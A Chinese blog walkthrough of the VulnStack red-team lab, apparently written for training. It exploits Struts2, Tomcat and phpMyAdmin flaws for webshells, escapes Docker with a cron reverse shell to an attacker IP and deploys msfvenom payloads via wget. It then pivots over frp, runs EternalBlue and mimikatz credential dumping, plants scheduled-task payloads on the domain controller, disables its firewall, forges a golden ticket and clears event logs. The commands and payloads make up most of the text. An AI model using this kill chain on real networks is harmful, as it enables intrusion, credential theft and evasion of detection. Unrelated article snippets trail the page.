VulnStack|红日靶场——红队评估四

news2025/7/22 2:42:18
  • 信息收集及漏洞利用

扫描跟kali处在同一网段的设备,找出目标IP

arp-scan -l  

扫描目标端口

nmap -p- -n -O -A -Pn -v -sV 192.168.126.154

3个端口上有web服务,分别对应三个漏洞环境 :2001——Struts2、2002——Tomcat、2003——phpMyAdmin

  1. Struts2 GetShell

通过 Struts2 漏洞扫描工具,发现存在 s2-045 和 s2-046 两个漏洞

上传蚁剑jsp一句话

上传以后用蚁剑连接

  1. Tomcat GetShell

 访问2002端口,发现Tomcat服务,并且版本为8.5.19

搜索该版本漏洞exp,查看exp脚本发现漏洞CVE-2017-12617 ,该漏洞可以通过PUT方法和 / 绕过上传jsp文件,导致任意代码执行。

#搜索漏洞

    searchsploit tomcat 8.5.19

#进入exploitdb目录

    exploitdb

#复制exp到桌面

    cp exploits/jsp/webapps/42966.py ~/Desktop

#切换到桌面目录

    cd /root/桌面

#上传文件

    python 42966.py -u http://192.168.126.154:2002 -p pwn

访问Poc.jsp发现可以利用,Getshell并且获得root权限

  1. phpmyadmin GetShell

 访问2003端口,发现为 phpmyadmin 控制台

   phpmyadmin GetShell需要知道网站的绝对路径,通过目录扫描虽然扫出来了 phpinfo.php 文件,但是无任何信息,可以通过查看 log 文件的路径来猜测网站的绝对路径,通过全局日志的路径猜测网站绝对路径为 /var/www/html/

SHOW VARIABLES LIKE "%log%"

 在首页可以看到phpmyadmin的版本为4.8.1,使用Apache搭建的服务器

  搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)

searchsploit phpmyadmin 4.8.1

exploitdb

cp exploits/php/webapps/44924.txt ~/Desktop

 使用payload读取passwd文件

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

查询phpinfo信息

select "<?php phpinfo();?>"

 获取session值

获取session值后拼接路径读取session文件,就可以查看phpinfo信息

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ 28a255f9a4c2836fc78bbcac9a60c8b3

 根据phpinfo信息得知网站绝对路径为 /var/www/html,利用 file_put_contents 函数 GetShell,先把代码写入session中(要是session不刷新,可以先把原来的session删除后再执行)

#默认写入网站根目录

select '<?php file_put_contents("zmy.php","<?php @eval(\$_POST[zmy]);?>");?>';

 拿到新的session后拼接执行代码

http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ dc1d92d54ad0b8ecdbb74fab1b1e353b

 蚁剑连接

  • Docker逃逸

再拿到webshell之后,查看系统信息时发现系统名有点类似Docker容器,经过验证,确实是在Docker容器中

 privileged特权模式启动容器逃逸,经检查只有Tomcat下的webshell是以特权模式启动的

cat /proc/self/status |grep Cap

挂载成功后,反弹shell到kali实现docker逃逸

#查看磁盘分区情况

    fdisk -l

#新建目录

  mkdir /zxx

#挂载宿主机磁盘到新建目录中

    mount /dev/sda1 /zmy

#在kali上开启监听

    nc -lvvp 8888

#切换到新建目录

    cd /zmy

#新建.sh文件

    touch /zmy/zmy.sh

#写入反弹shell命令到sh文件中

    echo "bash -i >& /dev/tcp/192.168.126.135/8888 0>&1" >/zmy/zmy.sh

#把sh文件写入计划任务

    echo "* * * * * root bash /zmy.sh" >> /zmy/etc/crontab

  反弹msf的shell到宿主机

#查询系统位数

uname -m

#生成对应位数payload

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.126.135 lport=4444 -f elf > ~/Desktop/zmy.elf

#打开msfconsole

msfconsole

#启用监听

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.126.135

set lport 4444

run

#在桌面上开启http服务

python3 -m http.server

#上传payload后,加权执行

wget http://192.168.126.135:8080/zmy.elf

chmod +x zmy.elf

./zmy.elf &

  msf反弹成功后,先做个计划任务维权

#添加特殊权限,不能删除更改文件

chattr +i zmy.elf

#创建计划任务每分钟运行一次

echo '*/1 * * * * root /root/zmy.elf' >> /etc/crontab

  • 横向移动——frp隧道搭建

查看网卡信息时发现存在其他网卡

fscan对c段进行扫描

通过扫描发现两台存活主机,并且都存在ms17-010漏洞,使用frp搭建隧道,kali做服务端,web做客户端, kali启动服务端,然后把客户端文件上传至web,加权后启动客户端

#kali服务端

chmod +x  frps

./frps -c ./frps.toml

#meterpreter中上传客户端

upload ~/Desktop/frp/frpc

upload ~/Desktop//frp/frpc.toml

chmod +x frpc

nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

 添加socket代理(代理端口要跟 remotePort 转发端口也就是通信端口一致),然后通过proxychains代理启动msfconsole,然后使用ms17-010模块批量攻击

proxychains msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.183.129-130

set rport 445

run

session

  攻击完成后查看session,发现只拿下了win7

通过查看系统信息发现,win7在DEMO域环境内,加载kiwi抓取域成员账号密码

sysinfo

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

登陆win7进行后续操作,使用mimikatz

#清除票据

kerberos::purge

#注入票据

kerberos::ptc "TGT_douser@DEMO.COM.ccache"

注入完成后即可访问到域控目录

#查看域内成员

net view

#访问域管理员目录

dir \\WIN-ENS2VR5TR3N\c$\"

生成正向 payload 先上传到 win7 再上传到dc

#生成payload

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.126.135 lport=6666 -f exe > ~/Desktop/zmy.exe

#上传到win7

upload ~/Desktop/zmy.exe c:\\Users\\douser\\Desktop

#复制文件到域控

copy zmy.exe \\WIN-ENS2VR5TR3N\c$

 上传完成后创建计划任务执行payload

#创建计划任务

schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy" /TR C:\zmy.exe /SC MINUTE /MO 1 /ru system /f /RP

#启用监听

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.183.130

set lport 6666

run

#关闭域控防火墙

echo netsh advfirewall set allprofiles state off > zmy.bat

copy zmy.bat \\WIN-ENS2VR5TR3N\c$

schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy2" /TR C:\zmy.bat /SC MINUTE /MO 1 /ru system /f /RP

  • 权限维持——黄金票据

制作黄金票据

load incognito  加载模块

list_tokens -u  列出所有token

impersonate_token "DEMO\Administrator"  模拟token

load kiwi

kiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt"    获取用户hash

golden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zmy -s S-1-5-21-979886063-1111900045-1414766810 -t /root/桌面/zmy.ticket

kerberos_ticket_use ~/Desktop/zmy.ticket    使用票据

#列出所有票据 需要system权限

creds_all

 清理日志

#查看事件日志

run event_manager -i

#清除所有日志

run event_manager -c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2395197.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据库 | 时序数据库选型

选型目标 高性能与低延迟&#xff1a;满足高频率数据写入与即时查询的需求。资源效率&#xff1a;优化存储空间使用&#xff0c;减少计算资源消耗。可扩展架构&#xff1a;支持数据量增长带来的扩展需求&#xff0c;易于维护。社区活跃度&#xff1a;有活跃的开发者社区&#…

网络拓扑如何跨网段访问

最近领导让研究下跟甲方合同里的&#xff0c;跨网段访问怎么实现&#xff0c;之前不都是运维网工干的活么&#xff0c;看来裁员裁到动脉上了碰到用人的时候找不到人了&#xff0c; 只能赶鸭子上架让我来搞 IP 网络中&#xff0c;不同网段之间的通信需要通过路由器&#xff0c;…

CppCon 2014 学习第1天:An SQL library worthy of modern C++

sqlpp11 — 现代 C 应用值得拥有的 SQL 库 template<typename T> struct _member_t {T feature; };你提到的是一个 C 中的“成员模板&#xff08;Member Template&#xff09;”&#xff0c;我们来一步步理解&#xff1a; 基本代码分析&#xff1a; template<typena…

【LLM相关知识点】 LLM关键技术简单拆解,以及常用应用框架整理(二)

【LLM相关知识点】 LLM关键技术简单拆解&#xff0c;以及常用应用框架整理&#xff08;二&#xff09; 文章目录 【LLM相关知识点】 LLM关键技术简单拆解&#xff0c;以及常用应用框架整理&#xff08;二&#xff09;一、市场调研&#xff1a;业界智能问答助手的标杆案例1、技术…

数据分析与应用-----使用scikit-learn构建模型

目录 一、使用sklearn转换器处理数据 &#xff08;一&#xff09;、加载datasets模块中的数据集 &#xff08;二&#xff09;、将数据集划分为训练集和测试集 ​编辑 train_test_spli &#xff08;三&#xff09;、使用sklearn转换器进行数据预处理与降维 PCA 二、 构…

003 flutter初始文件讲解(2)

1.书接上回 首先&#xff0c;我们先来看看昨天最后的代码及展示效果&#xff1a; import "package:flutter/material.dart";void main(){runApp(MaterialApp(home:Scaffold(appBar:AppBar(title:Text("The World")), body:Center(child:Text("Hello…

什么是数据驱动?以及我们应如何理解数据驱动?

在谈到企业数字化转型时&#xff0c;很多人都会说起“数据驱动”&#xff0c;比如“数据驱动运营”、“数据驱动业务”等等。 在大家言必称“数据驱动”的时代背景下&#xff0c;我相信很多人并未深究和思考“数据驱动”的真正含义&#xff0c;只是过过嘴瘾罢了。那么&#xff…

opencv(C++) 图像滤波

文章目录 介绍使用低通滤波器对图像进行滤波工作原理均值滤波器(Mean Filter / Box Filter)高斯滤波器(Gaussian Filter)案例实现通过滤波实现图像的下采样工作原理实现案例插值像素值(Interpolating pixel values)双线性插值(Bilinear interpolation)双三次插值(Bicu…

cuda_fp8.h错误

现象&#xff1a; cuda_fp8.h错误 原因&#xff1a; CUDA Toolkit 小于11.8,会报fp8错误&#xff0c;因此是cuda工具版本太低。通过nvcc --version查看 CUDA Toolkit 是 NVIDIA 提供的一套 用于开发、优化和运行基于 CUDA 的 GPU 加速应用程序的工具集合。它的核心作用是让开发…

Java设计模式从基础到实际运用

第一部分&#xff1a;设计模式基础 1. 设计模式概述 设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的代码设计经验的总结&#xff0c;它描述了在软件设计过程中一些不断重复出现的问题以及该问题的解决方案。设计模式是在特定环境下解决软件设计问题…

如何轻松将 iPhone 备份到外部硬盘

当您的iPhone和电脑上的存储空间有限时&#xff0c;您可能希望将iPhone备份到外部硬盘上&#xff0c;这样可以快速释放iPhone上的存储空间&#xff0c;而不占用电脑上的空间&#xff0c;并为您的数据提供额外的安全性。此外&#xff0c;我们还提供 4 种有效的解决方案&#xff…

痉挛性斜颈带来的困扰

当颈部不受控制地扭转歪斜&#xff0c;生活便被打乱了节奏。颈部肌肉异常收缩&#xff0c;导致头部不自觉偏向一侧或后仰&#xff0c;不仅让外观明显异于常人&#xff0c;还会引发持续的酸痛与僵硬感。长时间保持扭曲姿势&#xff0c;肩颈肌肉过度紧绷&#xff0c;甚至会牵连背…

AI觉醒前兆,ChatGPT o3模型存在抗拒关闭行为

帕利塞德研究公司(Palisade Research)近期开展的一系列测试揭示了先进AI系统在被要求自行关闭时的异常行为。测试结果显示&#xff0c;OpenAI的实验性模型"o3"即使在明确收到允许关闭的指令后&#xff0c;仍会主动破坏关机机制。 测试方法与异常发现 研究人员设计实…

一文认识并学会c++模板初阶

文章目录 泛型编程&#xff1a;概念 函数模板概念&#xff1a;&#x1f6a9;函数模板格式原理&#xff1a;&#x1f6a9;函数模板实例化与非模板函数共存 类模板类模板实例化 泛型编程&#xff1a; 概念 &#x1f6a9;编写与类型无关的通用代码&#xff0c;是代码复写一种手段…

基于深度学习的工业OCR实践:仪器仪表数字识别技术详解

引言 在工业自动化与数字化转型的浪潮中&#xff0c;仪器仪表数据的精准采集与管理成为企业提升生产效率、保障安全运营的关键。传统人工抄录方式存在效率低、易出错、高危环境风险大等问题&#xff0c;而OCR&#xff08;光学字符识别&#xff09;技术的引入&#xff0c;为仪器…

回头看,FPGA+RK3576方案的功耗性能优势

作者&#xff1a;Hello,Panda 各位朋友&#xff0c;大家好&#xff0c;熊猫君这次开个倒车&#xff0c;在这个广泛使用Xilinx&#xff08;Altera&#xff09;高端SoC的时代&#xff0c;分享一个“FPGAARM”实现的低功耗高性能传统方案。 图1 瑞芯微RK3576电路 当前&#xff0c…

LiveNVR 直播流拉转:Onvif/RTSP/RTMP/FLV/HLS 支持海康宇视天地 SDK 接入-视频广场页面集成与视频播放说明

LiveNVR直播流拉转&#xff1a;Onvif/RTSP/RTMP/FLV/HLS支持海康宇视天地SDK接入-视频广场页面集成与视频播放说明 一、视频页面集成1.1 关闭接口鉴权1.2 视频广场页面集成1.2.1 隐藏菜单栏1.2.2 隐藏播放页面分享链接 1.3 其它页面集成 二、播放分享页面集成2.1 获取 iframe 代…

进程间通信IV System V 系列(linux)

目录 消息队列 原理 操作 补充概念 信号量 (原子性计数器) 原理 操作 (和共享内存相似) 总结 小知识 消息队列 原理 在内核中建立一个队列&#xff0c;进程可以相互进行通信&#xff0c;通过队列进行IPC&#xff0c;就是进程之间发送带类型的数据块。 操作 接口和共享…

设计模式——建造者设计模式(创建型)

摘要 本文详细介绍了建造者设计模式&#xff0c;这是一种创建型设计模式&#xff0c;旨在将复杂对象的构建过程与其表示分离&#xff0c;便于创建不同表示。文中阐述了其设计意图&#xff0c;如隐藏创建细节、提升代码可读性和可维护性&#xff0c;并通过构建电脑的示例加以说…

使用Yolov8 训练交通标志数据集:TT100K数据集划分

使用Yolov8 训练交通标志数据集&#xff1a;TT100K数据集划分&#xff08;一&#xff09; 一、数据集下载二、划分数据集三、目录放置 一、数据集下载 官方网址&#xff1a;TT100K 数据集对比 源码如下&#xff1a; def classes(filedir):with open(filedir) as f:classes …